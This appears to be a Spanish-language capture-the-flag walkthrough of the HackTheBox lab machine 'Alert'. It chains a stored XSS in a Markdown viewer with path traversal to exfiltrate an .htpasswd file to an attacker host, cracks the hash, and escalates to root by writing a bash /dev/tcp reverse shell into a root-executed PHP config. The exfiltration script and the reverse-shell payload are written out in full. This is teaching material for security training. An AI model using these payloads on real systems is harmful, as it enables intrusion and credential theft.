Habilidades: Subdomain Fuzzing, Cross-Site Scripting + Directory Path Traversal, Hash Cracking, SSH Tunneling (Local Port Forwarding), Abusing Group Permissions to Write PHP Configuration File - (Privilege Escalation)
Introducción
Alert es una máquina perteneciente a la plataforma de HackTheBox de dificultad Easy
que se enfoca en explotación de vulnerabilidades web comunes y técnicas básicas de escalada de privilegios en sistemas Linux. Esta máquina se centra en el aprendizaje para principiantes, aprenderemos a abusar de configuraciones inseguras en formularios de contacto para ganar acceso al sistema y posteriormente hacernos con el control de la máquina enfrentándonos a servicios internos.
Reconocimiento
Lanzaremos una traza ICMP para verificar que la máquina se encuentra activa y responda nuestras conexiones
ping -c 1 10.10.11.44
PING 10.10.11.44 (10.10.11.44) 56(84) bytes of data.
64 bytes from 10.10.11.44: icmp_seq=1 ttl=63 time=140 ms
--- 10.10.11.44 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 139.794/139.794/139.794/0.000 ms
Nmap Scanning
Empezaremos la fase de reconocimiento realizando un escaneo con nmap
para identificar los puertos y así los servicios que tenga expuestos
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.44 -oG allPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-22 14:51 EDT
Nmap scan report for 10.10.11.44
Host is up (0.24s latency).
Not shown: 59981 closed tcp ports (reset), 5552 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 18.79 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo Stealth Scan, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Mostrar el progreso
Como hemos descubierto dos puertos en la máquina víctima, haremos un segundo escaneo con el propósito de identificar la versión del servicio que se está ejecutando en cada puerto abierto
nmap -sVC -p 22,80 10.10.11.44 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-22 14:52 EDT
Nmap scan report for 10.10.11.44
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://alert.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.51 seconds
-p
: Especificar los puertos-sV
: Identificar la versión del servicio que se ejecuta-sC
: Uso de scripts de reconocimiento-oN
: Exportar en el mismo formato que se ve por consola
Web Analysis
Vemos que nos intenta redirigir al dominio alert.htb
, lo agregaremos a nuestro archivo /etc/hosts
con el siguiente comando para que nuestra máquina resuelva alert.htb
a la dirección IP 10.10.11.44
que corresponde a la máquina víctima
echo '10.10.11.44 alert.htb' >> /etc/hosts
Haremos un pequeño escaneo antes de continuar para identificar las tecnologías web que pueda estar usando la máquina en su puerto 80
whatweb http://alert.htb/
http://alert.htb/ [302 Found] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.44], RedirectLocation[index.php?page=alert], Title[Alert - Markdown Viewer]
http://alert.htb/index.php?page=alert [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.44], Title[Alert - Markdown Viewer]
Web - Markdown Viewer
La máquina nos hace una redirección al consultar el dominio. Si nos dirigimos a alert.htb
en nuestro navegador se nos muestra el contenido de la página a la que se nos está redirigiendo
Vemos que existe un apartado para cargar archivos y aparentemente la funcionalidad de esta página es ver archivos Markdown
, esto me hace querer cargar un archivo malicioso. Por ahora crearé un archivo de ejemplo que contenga un título y una frase corta
Veremos el contenido de nuestro archivo con el botón inmenso imposible de no ver que está en medio de la página
En la esquina izquierda notaremos que podemos compartir el archivo, mucho cuidado! O.o
Esto nos genera un enlace que podemos compartir, el link se ve de la siguiente forma
http://alert.htb/visualizer.php?link_share=67df1564c186b4.63942334.md
Web - Contact Us
Existe una sección Contact Us
en la que podemos enviar un mensaje, por lógica podemos deducir que alguien revisa estos mensajes, quizá algún administrador. Por lo que un vector de entrada puede ser este formulario de contacto
Fuzzing
Usaremos fuzzing
para descubrir archivos y directorios disponibles en el servidor que no estemos logrando visualizar
gobuster dir -u http://10.10.11.44/ -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt -t 5
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.44/
[+] Method: GET
[+] Threads: 5
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 274]
/index.php (Status: 200) [Size: 966]
/contact.php (Status: 200) [Size: 24]
/uploads (Status: 403) [Size: 274]
/css (Status: 403) [Size: 274]
/messages (Status: 403) [Size: 274]
/messages.php (Status: 200) [Size: 1]
Existe un archivo messages.php
, que podría ser donde se muestren los mensajes que enviamos a través del formulario Contact Us
Subdomain Fuzzing
Intentaremos descubrir subdominios para el dominio alert.htb
usando la cabecera HTTP Host: algo.alert.htb
wfuzz -c -H 'Host: FUZZ.alert.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hc 301 http://alert.htb/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://alert.htb/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001261: 401 14 L 54 W 467 Ch "statistics"
-c
: Formato con colores-H
: Definir una cabecera HTTP-w
: Definir la ruta de un diccionario de palabras a usar--hc 301
: Ocultar el código de estado301
Virtual Hosting
Antes de navegar hacia statistics.alert.htb
, debemos agregar este subdominio al archivo /etc/hosts
cat /etc/hosts | grep alert.htb
10.10.11.44 alert.htb statistics.alert.htb
Si ahora nos dirigimos a statistics.alert.htb
, nos encontramos con el siguiente panel de autenticación
Fuzzing - Apache Files
Buscaremos archivos existentes en este subdominio a los cuales en primera instancia no podremos acceder, por defecto nos retornarán un código de estado 403
, lo que significa que no estamos autorizados para acceder a esos recursos. Sin embargo, el objetivo de lo que estamos haciendo es verificar la existencia de archivos comunes en apache
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/Apache.fuzz.txt --hc 401 http://statistics.alert.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://statistics.alert.htb/FUZZ
Total requests: 8531
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 403 9 L 28 W 285 Ch ".htaccess"
000000003: 403 9 L 28 W 285 Ch ".htpasswd"
000000002: 403 9 L 28 W 285 Ch ".htaccess.bak"
000000036: 403 9 L 28 W 285 Ch "server-status"
Explotación / Intrusión
Stored Cross-Site Scripting
Recordemos la sección de Contact Us
, intentaremos ejecutar código javascrpt
desde un archivo Markdown
. Crearemos un archivo malicioso que subiremos al servidor con algún nombre, por ejemplo test.md
- Agregaremos la etiqueta
<script>
que solicite un recursojs
de un servidor HTTP que nosotros montaremos
test.md
# Test XSS
<script src=http://10.10.14.254/test.js></script>
En teoría, al visualizarse este archivo, se realizará una solicitud HTTP a nuestro servidor que tendremos iniciado con python
, y se solicitará el recurso test.js
. Crearemos nuestro payload que se encargue de enviarnos el contenido de un archivo que queramos visualizar, como queremos
fetch("http://alert.htb/messages.php")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.254/?file_content=" + encodeURIComponent(data));
});
Subimos el archivo y copiamos el link para compartirlo a través del formulario de contacto
Pondremos el link dentro del mensaje. Antes de enviarlo, debemos poner a la escucha un servidor HTTP por nuestro puerto 80
python3 -m http.server 80
Una vez hayamos enviado el mensaje, la víctima cuando vea el mensaje supuestamente nos enviará el contenido del archivo messages.php
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.44 - - [22/Mar/2025 16:37:27] "GET /test.js HTTP/1.1" 200 -
10.10.11.44 - - [22/Mar/2025 16:37:28] "GET /?file_content=%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A HTTP/1.1" 200 -
Si decodificamos el valor que viajó en la variable file_content
que nosotros definimos, podemos ver que se trata de etiquetas HTML
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
Es interesante lo que logramos visualizar, porque ahora sabemos que messages.php
puede recibir una variable file
Cross-Site Scripting + Directory Path Traversal
Recordemos que en el subdominio statistics.alert.htb
existen archivos como .htaccess
, que aunque no tengamos acceso desde fuera quizás si podamos acceder mediante el XSS que estamos explotando en alert.htb
Modificaremos nuestro script para recibir el contenido de ese archivo intentando retroceder varios directorios y luego dirigiéndonos a /var/www/statistics.alert.htb/.htpasswd
xss.js
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.254/?file_content=" + encodeURIComponent(data));
});
Si has guardado este payload en otro archivo al igual que yo, debes considerar apuntar a ese nuevo archivo desde test.md
# Hola
<script src=http://10.10.14.254/xss.js></script>
Repetimos los pasos que hicimos anteriormente cuando nos trajimos el contenido del archivo messages.php
- Enviamos el archivo
test.md
alMarkdown Viewer
- Generamos el enlace para compartir el archivo
- Copiamos el enlace y lo enviamos a través del formulario
Contact Us
Antes de enviar el mensaje debemos tener el servidor HTTP a la espera de conexiones
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.44 - - [22/Mar/2025 16:53:02] "GET /xss.js HTTP/1.1" 200 -
10.10.11.44 - - [22/Mar/2025 16:53:03] "GET /?file_content=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -
Si hacemos la decodificación de URL del valor que hemos recibido, nos queda lo siguiente
<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
</pre>
Hash Cracking
Guardaremos en un archivo este hash para intentar crackearlo con john
, eliminando la etiqueta <pre>
hash.txt
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
john -w:/usr/share/wordlists/rockyou.txt hash.txt --format=md5crypt-long
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (albert)
1g 0:00:00:00 DONE (2025-03-22 17:10) 6.250g/s 17600p/s 17600c/s 17600C/s meagan..medicina
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Y la contraseña encontrada es manchesterunited
. Podemos usar estas credenciales para conectarnos a la web de statistics.alert.htb
. Además intentaremos verificar si se reutilizan estas credenciales y nos permite conectarnos como el usuario albert
proporcionando las mismas credenciales por ssh
ssh albert@10.10.11.44
The authenticity of host \'10.10.11.44 (10.10.11.44)' can't be established.
ED25519 key fingerprint is SHA256:p09n9xG9WD+h2tXiZ8yi4bbPrvHxCCOpBLSw0o76zOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.44' (ED25519) to the list of known hosts.
albert@10.10.11.44\'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)
...
...
Last login: Sat Mar 22 19:49:05 2025 from 10.10.14.166
albert@alert:~$
Escalada de privilegios
Lo primero que podemos hacer es cambiar el valor de la variable de entorno TERM
para poder hacer Ctrl + L
y así limpiar la pantalla
export TERM=xterm
(Posible) System Enumeration
Una de las vías más comunes de enumeración en Linux son los privilegios del grupo sudoers
, binarios suid
, capabilites
, tareas cron
, etc. Si hacemos una enumeración básica del sistema no tendremos resultados esperanzadores
albert@alert:~$ sudo -l
[sudo] password for albert:
Sorry, user albert may not run sudo on alert.
albert@alert:~$ getcap -r / 2>/dev/null
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
albert@alert:~$ crontab -l
no crontab for albert
find / -perm /4000 2>/dev/null
/opt/google/chrome/chrome-sandbox
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
System Enumeration - Internally Open Ports
Enumerando la máquina podemos ver que el puerto 8080
que está abierto de forma interna, esto significa que solamente es accesible desde la máquina víctima
ss -tunl
SSH Local Port Forwarding
Haremos que este puerto sea accesible desde nuestra máquina atacante aprovechando la autenticación ssh
con el siguiente comando
ssh -L 8080:127.0.0.1:8080 albert@10.10.11.44
albert@10.10.11.44\'s password:
albert@alert:~$
Si listamos los puertos abiertos en nuestra máquina atacante veremos el puerto 8080
abierto hacia la IP de la máquina víctima. Ya podremos ver el contenido de este servicio si le hacemos una petición a ese puerto que usamos de túnel
curl http://127.0.0.1:8080 -I
HTTP/1.1 200 OK
Host: 127.0.0.1:8080
Date: Sat, 22 Mar 2025 21:34:39 GMT
Connection: close
X-Powered-By: PHP/7.4.3-4ubuntu2.24
Content-type: text/html; charset=UTF-8
-I
: Ver solamente las cabeceras HTTP de la respuesta del servidor
Root Time - Abusing Config File
Dentro del directorio /opt
, tenemos capacidad de escritura de un archivo de configuración donde el propietario es root
bajo la ruta /website-monitor/
. Esto es posible gracias a que somos parte del grupo management
con el usuario albert
albert@alert:~$ ls -l /opt/website-monitor/config
total 4
-rwxrwxr-x 1 root management 49 Mar 22 21:41 configuration.php
albert@alert:/opt/website-monitor$ cat config/configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>
albert@alert:/opt/website-monitor$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
Agregamos una reverse shell al archivo configuration.php
, podemos usar nano
albert@alert:/opt/website-monitor/config$ nano configuration.php
PHP Payload
exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.x.x/port 0>&1'");
El archivo debería lucir más o menos de la siguiente forma. Antes de guardar los cambios, pondremos un puerto a la escucha con netcat
nc -lvnp 4646
Posteriormente, guardaremos el archivo y saldremos de nano con Ctrl +X
, daremos dos veces a Y
<?php
exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.254/4646 0>&1'");
define('PATH', '/opt/website-monitor');
?>
Al cabo de unos segundos, deberíamos recibir la conexión como usuario root
nc -lvnp 4646
listening on [any] 4646 ...
connect to [10.10.14.254] from (UNKNOWN) [10.10.11.44] 51640
bash: cannot set terminal process group (1007): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:~# id
id
uid=0(root) gid=0(root) groups=0(root)